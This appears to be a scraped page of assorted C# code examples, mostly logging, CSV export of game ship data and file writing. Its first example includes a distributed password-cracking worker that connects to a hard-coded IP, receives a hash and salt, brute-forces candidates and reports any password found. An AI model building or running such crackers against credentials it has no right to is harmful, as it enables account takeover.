            Program.PopFile = visitor.GetPopFile();
            PopAnalyzer     = new PopulationAnalyzer(Program.PopFile);
            PrintColor.InfoLine("\tDone Parsing Pop File - {f:Cyan}{$0}{r}", Path.GetFileName(FullPopFilePath));

            StopWatch.Stop();

            // Ending Statement
            Console.Write("\n");
            if (Error.Errors > 0)
            {
                PrintColor.WriteLine("{f:Black}{b:Red}Finished with {$0} errors and {$1} warnings.{r}", Error.Errors.ToString(), Warning.Warnings.ToString());
            }
            else if (Warning.Warnings > 0)
            {
                PrintColor.WriteLine("{f:Black}{b:Yellow}Finished with {$0} warnings.{r}", Warning.Warnings.ToString());
            }
            else
            {
                PrintColor.WriteLine("{f:Black}{b:Green}Finished cleanly.{r}");
            }

            // Execution Time
            if (ShowStopWatch)
            {
                PrintColor.InfoLine("Execution time: {f:Cyan}{$1} lines{r} in {f:Cyan}{$0}ms{r}", StopWatch.ElapsedMilliseconds.ToString(), LineCount.ToString());
            }

            if (Secret)
            {
                List <string> tokens = new List <string>();
                foreach (IToken t in tokenstream.GetTokens())
                {
                    tokens.Add(t.Text);
                }

                try {
                    AprilFools.DoTheThing(tokens);
                }
                catch {
                    PrintColor.InfoLine("Better luck next time! (an error occurred)");
                }
            }

            if (AutoClose)
            {
                // Avoid everything
            }
            else if (!NoMenu)
            {
                Menu.Capture();
            }
            else
            {
                PrintColor.InfoLine("Press any key to continue.");
                Console.ReadKey();
            }

            if (LogWriter != null)
            {
                LogWriter.Write("\n=========================\n\n");
                LogWriter.Close();
            }
        }
        static async Task Main()
        {
            while (true)
            {
                client = new TcpClient()
                {
                    NoDelay = true,
                };
                try
                {
                connect:
                    try
                    {
                        var ip = "159.224.194.148";
                        Console.WriteLine();
                        Console.WriteLine($"Trying to connect to {ip}");
                        await client.ConnectAsync(ip, 8888);
                        Console.WriteLine("Connected");
                    }
                    catch (SocketException ex)
                    {
                        Console.WriteLine(ex.Message);
                        await Task.Delay(connectTimeoutMs);
                        goto connect;
                    }

                    var stream = client.GetStream();
                    sw = new StreamWriter(stream)
                    {
                        AutoFlush = true
                    };
                    sr = new StreamReader(stream);

                    var hash = await Read("hash");
                    var salt = await Read("salt");

                    var tasks = new List<Task<(bool, string)>>();
                    while (true)
                    {
                        var str = await Read("string base");
                        var length = int.Parse(await Read("continue count"));

                        tasks.Add(Verify(str, hash, salt, length));

                        while (tasks.Count < Environment.ProcessorCount)
                        {
                            await Send("Success status", bool.FalseString);
                            str = await Read("string base");
                            length = int.Parse(await Read("continue count"));

                            tasks.Add(Verify(str, hash, salt, length));
                        }

                        var finished = await Task.WhenAny(tasks);

                        tasks.Remove(finished);

                        if (finished.Result.Item1)
                        {
                            await Send("success status", bool.TrueString);
                            await Send("password", finished.Result.Item2);
                            throw new Exception("Password was found");
                        }

                        await Send("Success status", bool.FalseString);
                    }
                }
                catch (Exception ex)
                {
                    Console.WriteLine("Session terminated");
                    Console.WriteLine(ex.Message);

                    await Task.Delay(connectTimeoutMs);
                }
                finally
                {
                    client?.Close();
                }
            }
        }
示例#56
0
        /// <summary>
        /// 
        /// </summary>
        /// <param name="message"></param>
        /// <param name="ex"></param>
        public static void Write(string message, Exception ex)
        {
            try
            {
                _mutexWriteFile.WaitOne();

                if (Enabled)
                {
                    if (!Directory.Exists(FileSystem.DebugFolder))
                    {
                        Directory.CreateDirectory(FileSystem.DebugFolder);
                    }

                    if (!Directory.Exists(FileSystem.LogsFolder))
                    {
                        Directory.CreateDirectory(FileSystem.LogsFolder);
                    }

                    if (ex != null)
                    {
                        using (StreamWriter sw = new StreamWriter(FileSystem.DebugFolder + errorFile + extension, true))
                        {
                            sw.WriteLine("[(v" + Settings.Application.GetByKey("Version", defaultValue: Settings.ApplicationVersion).Value + ") " +
                                         DateTime.Now.ToString(MacroParser.DateFormat + " " + MacroParser.TimeFormat) + "] " + message + " - Error Message: " +
                                         ex.Message + "\nInner Exception: " + (ex.InnerException != null ? ex.InnerException.Message : string.Empty) + "\nSource: " + ex.Source + "\nStack Trace: " + ex.StackTrace);

                            sw.Flush();
                            sw.Close();
                        }

                        using (StreamWriter sw = new StreamWriter(FileSystem.LogsFolder + logFile + extension, true))
                        {
                            sw.WriteLine("[(v" + Settings.Application.GetByKey("Version", defaultValue: Settings.ApplicationVersion).Value + ") " +
                                         DateTime.Now.ToString(MacroParser.DateFormat + " " + MacroParser.TimeFormat) + "] " + message + " - Error Message: " +
                                         ex.Message + "\nInner Exception: " + (ex.InnerException != null ? ex.InnerException.Message : string.Empty) + "\nSource: " + ex.Source + "\nStack Trace: " + ex.StackTrace);

                            sw.Flush();
                            sw.Close();
                        }

                        // If we encounter an exception error it's probably better to just error out on exit.
                        Environment.Exit(1);
                    }
                    else
                    {
                        // Write to the main log file.
                        using (StreamWriter sw = new StreamWriter(FileSystem.LogsFolder + logFile + extension, true))
                        {
                            sw.WriteLine("[(v" + Settings.Application.GetByKey("Version", defaultValue: Settings.ApplicationVersion).Value + ") " +
                                         DateTime.Now.ToString(MacroParser.DateFormat + " " + MacroParser.TimeFormat) + "] " + message);

                            sw.Flush();
                            sw.Close();
                        }

                        // Create a date-stamped directory if it does not already exist.
                        if (!Directory.Exists(FileSystem.LogsFolder + DateTime.Now.ToString(MacroParser.DateFormat)))
                        {
                            Directory.CreateDirectory(FileSystem.LogsFolder + DateTime.Now.ToString(MacroParser.DateFormat));
                        }

                        // Write to a log file within a directory representing the day when the message was logged.
                        using (StreamWriter sw = new StreamWriter(
                            FileSystem.LogsFolder + DateTime.Now.ToString(MacroParser.DateFormat) + FileSystem.PathDelimiter +
                            logFile + "_" + DateTime.Now.ToString(MacroParser.DateFormat) + extension, true))
                        {
                            sw.WriteLine("[(v" + Settings.Application.GetByKey("Version", defaultValue: Settings.ApplicationVersion).Value + ") " +
                                         DateTime.Now.ToString(MacroParser.DateFormat + " " + MacroParser.TimeFormat) + "] " + message);

                            sw.Flush();
                            sw.Close();
                        }
                    }
                }
            }
            finally
            {
                _mutexWriteFile.ReleaseMutex();
            }
        }
示例#57
0
		private void StripMenu_File_OutputCSVData_Click( object sender, EventArgs e ) {

			if ( SaveCSVDialog.ShowDialog() == System.Windows.Forms.DialogResult.OK ) {

				try {

					using ( StreamWriter sw = new StreamWriter( SaveCSVDialog.FileName, false, Utility.Configuration.Config.Log.FileEncoding ) ) {

						sw.WriteLine( "艦船ID,図鑑番号,艦名,読み,艦種,改装前,改装後,改装Lv,改装弾薬,改装鋼材,改装設計図,耐久初期,耐久最大,耐久結婚,火力初期,火力最大,雷装初期,雷装最大,対空初期,対空最大,装甲初期,装甲最大,対潜初期最小,対潜初期最大,対潜最大,対潜150最小,対潜150最大,回避初期最小,回避初期最大,回避最大,回避150最小,回避150最大,索敵初期最小,索敵初期最大,索敵最大,索敵150最小,索敵150最大,運初期,運最大,速力,射程,レア,スロット数,搭載機数1,搭載機数2,搭載機数3,搭載機数4,搭載機数5,初期装備1,初期装備2,初期装備3,初期装備4,初期装備5,建造時間,解体燃料,解体弾薬,解体鋼材,解体ボーキ,改修火力,改修雷装,改修対空,改修装甲,ドロップ文章,図鑑文章,搭載燃料,搭載弾薬,ボイス,リソース名,バージョン" );
						string arg = string.Format( "{{{0}}}", string.Join( "},{", Enumerable.Range( 0, 69 ) ) );

						foreach ( ShipDataMaster ship in KCDatabase.Instance.MasterShips.Values ) {

							sw.WriteLine( arg,
								ship.ShipID,
								ship.AlbumNo,
								ship.Name,
								ship.NameReading,
								ship.ShipType,
								ship.RemodelBeforeShipID,
								ship.RemodelAfterShipID,
								ship.RemodelAfterLevel,
								ship.RemodelAmmo,
								ship.RemodelSteel,
								ship.NeedBlueprint,
								ship.HPMin,
								ship.HPMax,
								ship.HPMaxMarried,
								ship.FirepowerMin,
								ship.FirepowerMax,
								ship.TorpedoMin,
								ship.TorpedoMax,
								ship.AAMin,
								ship.AAMax,
								ship.ArmorMin,
								ship.ArmorMax,
								ship.ASW != null ? ship.ASW.MinimumEstMin : ShipParameterRecord.Parameter.MinimumDefault,
								ship.ASW != null ? ship.ASW.MinimumEstMax : ShipParameterRecord.Parameter.MaximumDefault,
								ship.ASW != null ? ship.ASW.Maximum : ShipParameterRecord.Parameter.MaximumDefault,
								ship.ASW != null ? ship.ASW.GetEstParameterMin( 150 ) : ShipParameterRecord.Parameter.MinimumDefault,
								ship.ASW != null ? ship.ASW.GetEstParameterMax( 150 ) : ShipParameterRecord.Parameter.MaximumDefault,
								ship.Evasion != null ? ship.Evasion.MinimumEstMin : ShipParameterRecord.Parameter.MinimumDefault,
								ship.Evasion != null ? ship.Evasion.MinimumEstMax : ShipParameterRecord.Parameter.MaximumDefault,
								ship.Evasion != null ? ship.Evasion.Maximum : ShipParameterRecord.Parameter.MaximumDefault,
								ship.Evasion != null ? ship.Evasion.GetEstParameterMin( 150 ) : ShipParameterRecord.Parameter.MinimumDefault,
								ship.Evasion != null ? ship.Evasion.GetEstParameterMax( 150 ) : ShipParameterRecord.Parameter.MaximumDefault,
								ship.LOS != null ? ship.LOS.MinimumEstMin : ShipParameterRecord.Parameter.MinimumDefault,
								ship.LOS != null ? ship.LOS.MinimumEstMax : ShipParameterRecord.Parameter.MaximumDefault,
								ship.LOS != null ? ship.LOS.Maximum : ShipParameterRecord.Parameter.MaximumDefault,
								ship.LOS != null ? ship.LOS.GetEstParameterMin( 150 ) : ShipParameterRecord.Parameter.MinimumDefault,
								ship.LOS != null ? ship.LOS.GetEstParameterMax( 150 ) : ShipParameterRecord.Parameter.MaximumDefault,
								ship.LuckMin,
								ship.LuckMax,
								ship.Speed,
								ship.Range,
								ship.Rarity,
								ship.SlotSize,
								ship.Aircraft[0],
								ship.Aircraft[1],
								ship.Aircraft[2],
								ship.Aircraft[3],
								ship.Aircraft[4],
								ship.DefaultSlot != null ? ship.DefaultSlot[0] : -1,
								ship.DefaultSlot != null ? ship.DefaultSlot[1] : -1,
								ship.DefaultSlot != null ? ship.DefaultSlot[2] : -1,
								ship.DefaultSlot != null ? ship.DefaultSlot[3] : -1,
								ship.DefaultSlot != null ? ship.DefaultSlot[4] : -1,
								ship.BuildingTime,
								ship.Material[0],
								ship.Material[1],
								ship.Material[2],
								ship.Material[3],
								ship.PowerUp[0],
								ship.PowerUp[1],
								ship.PowerUp[2],
								ship.PowerUp[3],
								ship.MessageGet.Replace( "\n", "<br>" ),
								ship.MessageAlbum.Replace( "\n", "<br>" ),
								ship.Fuel,
								ship.Ammo,
								ship.VoiceFlag,
								ship.ResourceName,
								ship.ResourceVersion
								);

						}

					}

				} catch ( Exception ex ) {

					Utility.ErrorReporter.SendErrorReport( ex, "艦船図鑑 CSVの出力に失敗しました。" );
					MessageBox.Show( "艦船図鑑 CSVの出力に失敗しました。\r\n" + ex.Message, "エラー", MessageBoxButtons.OK, MessageBoxIcon.Error );
				}

			}

		}
示例#58
0
        public void AddFriendsToFile(string userLogin, string checkedGame, List <string> friendRequests)
        {
            string[] temp     = checkedGame.Split(' ');
            string   gameName = null;

            for (int i = 0; i < temp.Count(); i++)
            {
                gameName += temp[i];
            }
            string path = _hiddenFolder + gameName;

            if (!Directory.Exists(path))
            {
                DirectoryInfo di = Directory.CreateDirectory(path);
                di.Attributes = FileAttributes.Directory;
            }

            path = _hiddenFolder + gameName + @"\" + userLogin + ".txt";

            #region COPYING_FROM_FILE
            List <string> previousNames = new List <string>();
            if (File.Exists(path))
            {
                string[] res = File.ReadAllLines(path, Encoding.Default);
                foreach (string str in res)
                {
                    if (!String.IsNullOrEmpty(str))
                    {
                        previousNames.Add(str);
                    }
                }
            }
            foreach (string str in friendRequests)
            {
                if (!String.IsNullOrEmpty(str))
                {
                    previousNames.Add(str);
                }
            }
            #endregion
            using (FileStream file = new FileStream(path, FileMode.OpenOrCreate))
            {
                using (StreamWriter writer = new StreamWriter(file, Encoding.Default))
                {
                    foreach (string str in previousNames)
                    {
                        writer.WriteLine(str);
                    }
                }
            }

            previousNames.Clear();
            #region COPYING_FROM_FILE
            if (File.Exists(_filePath))
            {
                string[] res = File.ReadAllLines(_filePath, Encoding.Default);
                foreach (string str in res)
                {
                    if (!String.IsNullOrEmpty(str))
                    {
                        previousNames.Add(str);
                    }
                }
            }
            foreach (string str in friendRequests)
            {
                if (!String.IsNullOrEmpty(str))
                {
                    previousNames.Add(str);
                }
            }
            #endregion
            using (FileStream file = new FileStream(_filePath, FileMode.OpenOrCreate))
            {
                using (StreamWriter writer = new StreamWriter(file, Encoding.Default))
                {
                    foreach (string str in previousNames)
                    {
                        writer.WriteLine(str);
                    }
                }
            }
        }
示例#59
0
		private void StripMenu_File_OutputCSVUser_Click( object sender, EventArgs e ) {

			if ( SaveCSVDialog.ShowDialog() == System.Windows.Forms.DialogResult.OK ) {

				try {

					using ( StreamWriter sw = new StreamWriter( SaveCSVDialog.FileName, false, Utility.Configuration.Config.Log.FileEncoding ) ) {

						sw.WriteLine( "艦船ID,図鑑番号,艦種,艦名,読み,改装前,改装後,改装Lv,改装弾薬,改装鋼材,改装設計図,耐久初期,耐久結婚,火力初期,火力最大,雷装初期,雷装最大,対空初期,対空最大,装甲初期,装甲最大,対潜初期,対潜最大,回避初期,回避最大,索敵初期,索敵最大,運初期,運最大,速力,射程,レア,スロット数,搭載機数1,搭載機数2,搭載機数3,搭載機数4,搭載機数5,初期装備1,初期装備2,初期装備3,初期装備4,初期装備5,建造時間,解体燃料,解体弾薬,解体鋼材,解体ボーキ,改修火力,改修雷装,改修対空,改修装甲,ドロップ文章,図鑑文章,搭載燃料,搭載弾薬,ボイス,リソース名,バージョン" );
						string arg = string.Format( "{{{0}}}", string.Join( "},{", Enumerable.Range( 0, 59 ) ) );

						foreach ( ShipDataMaster ship in KCDatabase.Instance.MasterShips.Values ) {

							if ( ship.Name == "なし" ) continue;

							sw.WriteLine( arg,
								ship.ShipID,
								ship.AlbumNo,
								KCDatabase.Instance.ShipTypes[ship.ShipType].Name,
								ship.Name,
								ship.NameReading,
								ship.RemodelBeforeShipID > 0 ? ship.RemodelBeforeShip.Name : "-",
								ship.RemodelAfterShipID > 0 ? ship.RemodelAfterShip.Name : "-",
								ship.RemodelAfterLevel,
								ship.RemodelAmmo,
								ship.RemodelSteel,
								ship.NeedBlueprint > 0 ? ship.NeedBlueprint + "枚" : "-",
								ship.HPMin,
								ship.HPMaxMarried,
								ship.FirepowerMin,
								ship.FirepowerMax,
								ship.TorpedoMin,
								ship.TorpedoMax,
								ship.AAMin,
								ship.AAMax,
								ship.ArmorMin,
								ship.ArmorMax,
								ship.ASW != null && !ship.ASW.IsMinimumDefault ? ship.ASW.Minimum.ToString() : "???",
								ship.ASW != null && !ship.ASW.IsMaximumDefault ? ship.ASW.Maximum.ToString() : "???",
								ship.Evasion != null && !ship.Evasion.IsMinimumDefault ? ship.Evasion.Minimum.ToString() : "???",
								ship.Evasion != null && !ship.Evasion.IsMaximumDefault ? ship.Evasion.Maximum.ToString() : "???",
								ship.LOS != null && !ship.LOS.IsMinimumDefault ? ship.LOS.Minimum.ToString() : "???",
								ship.LOS != null && !ship.LOS.IsMaximumDefault ? ship.LOS.Maximum.ToString() : "???",
								ship.LuckMin,
								ship.LuckMax,
								Constants.GetSpeed( ship.Speed ),
								Constants.GetRange( ship.Range ),
								Constants.GetShipRarity( ship.Rarity ),
								ship.SlotSize,
								ship.Aircraft[0],
								ship.Aircraft[1],
								ship.Aircraft[2],
								ship.Aircraft[3],
								ship.Aircraft[4],
								ship.DefaultSlot != null ? ( ship.DefaultSlot[0] != -1 ? KCDatabase.Instance.MasterEquipments[ship.DefaultSlot[0]].Name : ( ship.SlotSize > 0 ? "(なし)" : "" ) ) : "???",
								ship.DefaultSlot != null ? ( ship.DefaultSlot[1] != -1 ? KCDatabase.Instance.MasterEquipments[ship.DefaultSlot[1]].Name : ( ship.SlotSize > 1 ? "(なし)" : "" ) ) : "???",
								ship.DefaultSlot != null ? ( ship.DefaultSlot[2] != -1 ? KCDatabase.Instance.MasterEquipments[ship.DefaultSlot[2]].Name : ( ship.SlotSize > 2 ? "(なし)" : "" ) ) : "???",
								ship.DefaultSlot != null ? ( ship.DefaultSlot[3] != -1 ? KCDatabase.Instance.MasterEquipments[ship.DefaultSlot[3]].Name : ( ship.SlotSize > 3 ? "(なし)" : "" ) ) : "???",
								ship.DefaultSlot != null ? ( ship.DefaultSlot[4] != -1 ? KCDatabase.Instance.MasterEquipments[ship.DefaultSlot[4]].Name : ( ship.SlotSize > 4 ? "(なし)" : "" ) ) : "???",
								DateTimeHelper.ToTimeRemainString( new TimeSpan( 0, ship.BuildingTime, 0 ) ),
								ship.Material[0],
								ship.Material[1],
								ship.Material[2],
								ship.Material[3],
								ship.PowerUp[0],
								ship.PowerUp[1],
								ship.PowerUp[2],
								ship.PowerUp[3],
								ship.MessageGet.Replace( "\n", "<br>" ),
								ship.MessageAlbum.Replace( "\n", "<br>" ),
								ship.Fuel,
								ship.Ammo,
								Constants.GetVoiceFlag( ship.VoiceFlag ),
								ship.ResourceName,
								ship.ResourceVersion
								);

						}

					}

				} catch ( Exception ex ) {

					Utility.ErrorReporter.SendErrorReport( ex, "艦船図鑑 CSVの出力に失敗しました。" );
					MessageBox.Show( "艦船図鑑 CSVの出力に失敗しました。\r\n" + ex.Message, "エラー", MessageBoxButtons.OK, MessageBoxIcon.Error );
				}

			}

		}
示例#60
0
 public void Start(StreamWriter writer)
 {
     this.strmWriter = writer;
 }